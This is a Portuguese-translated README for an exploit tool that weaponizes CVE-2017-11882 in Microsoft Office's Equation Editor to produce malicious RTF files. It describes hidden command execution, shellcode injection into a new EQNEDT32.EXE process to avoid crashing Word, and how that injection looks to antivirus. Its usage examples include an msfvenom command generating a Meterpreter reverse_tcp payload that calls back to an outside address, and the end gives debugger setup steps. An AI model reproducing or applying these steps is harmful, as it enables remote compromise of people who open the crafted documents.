
O exploit CVE-2017-11882 aceita comandos/códigos com mais de 17k bytes no máximo.
O exploit CVE-2017-11882 aceita comandos/códigos com comprimento máximo superior a 17k bytes.
Para execução remota de comandos, este exploit chamará WinExec com SW_HIDE e chamará ExitProcess após o WinExec retornar.
Para execução remota de código, este exploit apenas faz jmp para o código.
Não consegui encontrar uma referência para a estrutura do objeto... então não posso alterar o tamanho do arquivo para execução de código de tamanho arbitrário..:(
Mas acho que 17k bytes é realmente suficiente. O script Python detectará o tamanho do payload necessário e escolherá o template de payload correto.
Atenção: RCE travará o processo winword se você não migrar para outro processo!
Atualmente, este exploit injetará seu shellcode em um novo processo EQNEDT32.EXE se você especificar a flag -i. Esta operação é suspeita para o AV, mas não travará o processo do Word.
usage: CVE-2017-11882.py [-h] -c CMD [-t {0,1}] [-i INJECT] -o OUTPUT
Exploit for CVE-2017-11882 @unamer(https://github.com/unamer/CVE-2017-11882)
optional arguments:
-h, --help show this help message and exit
-c CMD, --cmd CMD Command or shellcode file to run in target system
(Must be shorter than 17967 bytes!!)
-t {0,1}, --type {0,1}
Type (0:shellcode 1:command, default=1)
-i INJECT, --inject INJECT
Inject shellcode to new process
-o OUTPUT, --output OUTPUT
Output exploit rtf
Exemplo:
Para execução remota de comandos
CVE-2017-11882.py -c cmd.exe -o test.rtf
Para execução remota de código
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.115 LPORT=2333 -o ./sc.bin
CVE-2017-11882.py -c sc.bin -t 0 -i 1 -o test.rtf
Defina o valor do depurador para o caminho do seu depurador em HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EQNEDT32.EXE
Crie um exploit e execute-o.
Defina um ponto de interrupção em 0x41165f
Este ponto de interrupção será atingido duas vezes; na segunda vez, o payload será executado após o retorno desta função.